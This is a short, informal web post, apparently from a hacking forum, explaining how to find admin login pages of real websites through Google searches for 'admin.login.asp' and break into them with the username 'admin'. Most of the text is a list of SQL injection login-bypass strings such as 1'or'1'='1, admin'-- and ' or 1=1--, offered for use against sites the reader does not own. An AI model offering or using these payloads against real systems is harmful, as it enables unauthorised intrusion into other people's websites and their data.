(adsbygoogle = window.adsbygoogle || []).push({}); It's pretty easy actually.
typ in google admin.login.asp

Now you have some site's with the admin logins ok?
Then how to login..
Your inlogname is admin.
But the password are strings ( you can use strings i mean )
Here i have a couple of strings you can use.
This string is the best that's the most effective one,
1'or'1'='1

other strings.

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

' or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

' or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi' or ('a'='a

hi") or ("a"="a


It might take a while to test all of them but it's worth it.

Hope i helped ya